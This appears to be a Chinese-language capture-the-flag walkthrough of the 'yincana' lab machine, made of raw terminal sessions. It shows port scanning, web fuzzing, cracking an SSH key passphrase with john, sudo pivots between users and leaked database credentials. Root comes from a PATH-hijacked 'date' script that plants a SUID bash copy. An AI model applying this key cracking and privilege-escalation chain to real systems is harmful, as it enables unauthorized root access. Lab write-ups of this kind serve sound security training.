❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.223 08:00:27:45:16:43 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e1:d8:58 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.050 seconds (124.88 hosts/sec). 4 responded ❯ export ip=192.168.60.223 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where '404 Not Found' meets '200 OK'. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.223:22 Open 192.168.60.223:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 14:57 CST Initiating ARP Ping Scan at 14:57 Scanning 192.168.60.223 [1 port] Completed ARP Ping Scan at 14:57, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:57 Completed Parallel DNS resolution of 1 host. at 14:57, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:57 Scanning 192.168.60.223 [2 ports] Discovered open port 22/tcp on 192.168.60.223 Discovered open port 80/tcp on 192.168.60.223 Completed SYN Stealth Scan at 14:57, 0.05s elapsed (2 total ports) Nmap scan report for 192.168.60.223 Host is up, received arp-response (0.00033s latency). Scanned at 2025-03-03 14:57:42 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:45:16:43 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ wfuzz -c -z range,1-1000 -u "http://yincana.nyx/image.php?id=FUZZ" --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://yincana.nyx/image.php?id=FUZZ Total requests: 1000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 1147 L 11177 W 301784 Ch "1" 000000003: 200 1564 L 14932 W 403629 Ch "3" 000000013: 200 266 L 1816 W 55656 Ch "13" 000000002: 200 1043 L 9758 W 267317 Ch "2" 000000008: 200 900 L 8186 W 238270 Ch "8" 000000006: 200 2107 L 18777 W 520404 Ch "6" 000000009: 200 3138 L 28309 W 741786 Ch "9" Total time: 0 Processed Requests: 1000 Filtered Requests: 993 Requests/sec.: 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://yincana.nyx/image.php?id=FUZZ Total requests: 1000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000015: 200 129 L 390 W 5623 Ch "15" 000000020: 200 501 L 617 W 8475 Ch "20" 000000001: 200 1147 L 11177 W 301784 Ch "1" 000000003: 200 1564 L 14932 W 403629 Ch "3" 000000017: 200 69 L 561 W 19221 Ch "17" 000000016: 200 69 L 561 W 19221 Ch "16" 000000013: 200 266 L 1816 W 55656 Ch "13" 000000006: 200 2107 L 18777 W 520404 Ch "6" 000000008: 200 900 L 8186 W 238270 Ch "8" 000000002: 200 1043 L 9758 W 267317 Ch "2" 000000009: 200 3138 L 28309 W 741786 Ch "9" 000000019: 200 129 L 390 W 5623 Ch "19" 000000018: 200 483 L 616 W 9576 Ch "18" 000000021: 200 744 L 6943 W 213998 Ch "21" Total time: 0 Processed Requests: 1000 Filtered Requests: 986 Requests/sec.: 0
# 如果index.html文件不存在,则创建 ifnot os.path.exists("index.html"): withopen("index.html", "w") as file: file.write(html_content)
# 进度条 p1 = log.progress("Iframe src")
# 遍历常见的HTTP端口 with common_http_ports as ports: for port in ports: # 解析HTML withopen("index.html", "r") as file: soup = BeautifulSoup(file, "html.parser")
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://yincana.nyx/image.php?id=FUZZ Total requests: 1000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000015: 200 129 L 390 W 5623 Ch "15" 000000001: 200 1147 L 11177 W 301784 Ch "1" 000000003: 200 1564 L 14932 W 403629 Ch "3" 000000019: 200 129 L 390 W 5623 Ch "19" 000000013: 200 266 L 1816 W 55656 Ch "13" 000000018: 200 483 L 616 W 9576 Ch "18" 000000016: 200 69 L 561 W 19221 Ch "16" 000000020: 200 501 L 617 W 8475 Ch "20" 000000017: 200 69 L 561 W 19221 Ch "17" 000000021: 200 744 L 6943 W 213998 Ch "21" 000000065: 200 126 L 436 W 7354 Ch "65" 000000008: 200 900 L 8186 W 238270 Ch "8" 000000002: 200 1043 L 9758 W 267317 Ch "2" 000000081: 200 128 L 455 W 7705 Ch "81" 000000009: 200 3138 L 28309 W 741786 Ch "9" 000000093: 200 17 L 570 W 7936 Ch "93" 000000092: 200 128 L 443 W 7213 Ch "92" 000000091: 200 127 L 450 W 7598 Ch "91" 000000090: 200 126 L 441 W 7431 Ch "90" 000000089: 200 125 L 452 W 7459 Ch "89" 000000088: 200 130 L 448 W 7589 Ch "88" 000000006: 200 2107 L 18777 W 520404 Ch "6" 000000087: 200 7 L 599 W 9174 Ch "87" 000000086: 200 125 L 451 W 7720 Ch "86" 000000085: 200 127 L 450 W 7556 Ch "85" 000000084: 200 128 L 458 W 7779 Ch "84" 000000083: 200 131 L 454 W 7681 Ch "83" 000000080: 200 126 L 432 W 7385 Ch "80" 000000082: 200 127 L 463 W 7617 Ch "82" 000000079: 200 127 L 445 W 7382 Ch "79" 000000078: 200 129 L 440 W 7524 Ch "78" 000000077: 200 132 L 444 W 7405 Ch "77" 000000076: 200 126 L 433 W 7310 Ch "76" 000000073: 200 124 L 457 W 7443 Ch "73" 000000072: 200 127 L 451 W 7687 Ch "72" 000000071: 200 126 L 445 W 7433 Ch "71" 000000070: 200 129 L 446 W 7465 Ch "70" 000000069: 200 128 L 442 W 7379 Ch "69" 000000068: 200 129 L 432 W 7389 Ch "68" 000000063: 200 125 L 434 W 7424 Ch "63" 000000066: 200 126 L 434 W 7371 Ch "66" 000000061: 200 126 L 433 W 7331 Ch "61" 000000074: 200 126 L 455 W 7716 Ch "74" 000000067: 200 128 L 445 W 7621 Ch "67" 000000064: 200 128 L 434 W 7526 Ch "64" 000000075: 200 129 L 454 W 7662 Ch "75" 000000062: 200 122 L 420 W 7270 Ch "62" 000000060: 200 128 L 439 W 7264 Ch "60" 000000059: 200 933 L 7609 W 225776 Ch "59" 000000058: 200 128 L 439 W 7240 Ch "58" Total time: 0.515040 Processed Requests: 1000 Filtered Requests: 950 Requests/sec.: 1941.594
❯ wfuzz -c -z range,1-3000 -u "http://yincana.nyx/image.php?id=FUZZ" --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://yincana.nyx/image.php?id=FUZZ Total requests: 3000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== ……………………省略其他………… 000002333: 200 890 L 8064 W 243244 Ch "2333" Total time: 2.479623 Processed Requests: 3000 Filtered Requests: 2947 Requests/sec.: 1209.860
❯ wfuzz -c -z range,3000-4000 -u "http://yincana.nyx/image.php?id=FUZZ" --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://yincana.nyx/image.php?id=FUZZ Total requests: 1001 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000034: 200 1044 L 8066 W 252834 Ch "3033" Total time: 0 Processed Requests: 1001 Filtered Requests: 1000 Requests/sec.: 0
❯ chmod 600 id_rsa2 ❯ ssh2john id_rsa2 >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status flowers (id_rsa2) 1g 0:00:00:07 DONE (2025-03-03 19:39) 0.1328g/s 42.49p/s 42.49c/s 42.49C/s adidas..101010 Use the "--show" option to display all of the cracked passwords reliably Session completed.
查看私钥的备注信息,得知是用户 jazmin
1 2 3 4
❯ ssh-keygen -c -f id_rsa2 Enter passphrase: Old comment: jazmin@yincana New comment:
用户提权
ssh连接一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
❯ ssh jazmin@$ip -i id_rsa2 The authenticity of host '192.168.60.223 (192.168.60.223)' can't be established. ED25519 key fingerprint is SHA256:5slNBMqkq5SEkGz6odIz7NG2zCzgpEkWGZh2k2Hgsf4. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.223' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa2': Linux yincana 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Jun 3 17:43:07 2024 from 192.168.1.10 $ bash jazmin@yincana:~$
jazmin@yincana:~$ sudo -l Matching Defaults entries for jazmin on yincana: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User jazmin may run the following commands on yincana: (kalanoche) NOPASSWD: /bin/bash jazmin@yincana:~$ sudo -u kalanoche /bin/bash kalanoche@yincana:/home/jazmin$ sudo -l Matching Defaults entries for kalanoche on yincana: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User kalanoche may run the following commands on yincana: (lavanda) NOPASSWD: /bin/bash
jazmin@yincana:/var/www/yincana.nyx/public$ head index.php <?php // Conectarse a la base de datos usando variables de entorno $dbhost = getenv('DB_HOST'); $dbuser = getenv('DB_USER'); $dbpass = getenv('DB_PASS'); $dbname = getenv('DB_NAME');
try { $pdo = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
jazmin@yincana:/var/www/yincana.nyx/public$ cat /etc/apache2/sites-available/yincana.nyx.conf <VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn
# For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost>
jazmin@yincana:/var/www/yincana.nyx/public$ mysql -udbusryinc -pvXbSrUg8bJy37d7BMtm2 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 284 Server version: 10.11.6-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use dbyinc Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
margarita@yincana:/tmp$ xsltproc b.xsl a.xml -o c.html warning: failed to load external entity "-o" unable to parse -o c.html:5: parser error : Opening and ending tag mismatch: meta line 3 and head </head> ^ c.html:10: parser error : Opening and ending tag mismatch: head line 2 and html </html> ^ c.html:11: parser error : Premature end of data in tag html line 1
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Jun 1 04:47:14 2024 from 192.168.1.116 manel@yincana:~$ cat user.txt 5c7ba579b3e53e75fb59da875b042f86 Give a flower today, don't wait for tomorrow. Regala una flor hoy, no esperes a mañana. Regala una flor avui, no esperis a demà.
manel@yincana:/var/www/html$ cat chat.html ……………………省略……………… <div class="message user-File"> <strong>File:</strong> # DO NOT EDIT THIS FILE - edit the master and reinstall. # (/tmp/crontab.O28Ghj/crontab installed on Sun Jun 2 06:41:22 2024) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) PATH=/home/manel/.local/bin:/usr/bin:/bin:/usr/local/bin MAILTO="" # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any'). # # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command * * * * * /bin/bash -c '/usr/bin/xsltproc --stringparam current-date "`date`" -o /var/www/html/chat.html /root/chat.xsl /home/mensajes.xml >> /tmp/test.log' 0 0 1 1 * chatbackup
manel@yincana:~/.local/bin$ vi date cp /bin/bash /tmp/bash; chmod +s /tmp/bash manel@yincana:~/.local/bin$ chmod +x date
看一下/tmp,正常提权即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
manel@yincana:~/.local/bin$ cd /tmp/ manel@yincana:/tmp$ ls -al bash -rwsr-sr-x 1 root root 1265648 mar 3 15:11 bash manel@yincana:/tmp$ ./bash -p bash-5.2# id uid=1000(manel) gid=1000(manel) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1000(manel),1051(backupchat) bash-5.2# whoami root bash-5.2# cat /root/root.txt 11d39f0204cd2e6ba4ab9dd7b99fafe6 -- Congratulations! Give some flowers to celebrate now, don't waste a moment. -- Felicidades! Regala unas flores para celebrarlo ahora mismo, no pierdas ni un momento. -- Felicitats! Regala unes flors per celebrar-ho ara mateix, no perdis ni un moment.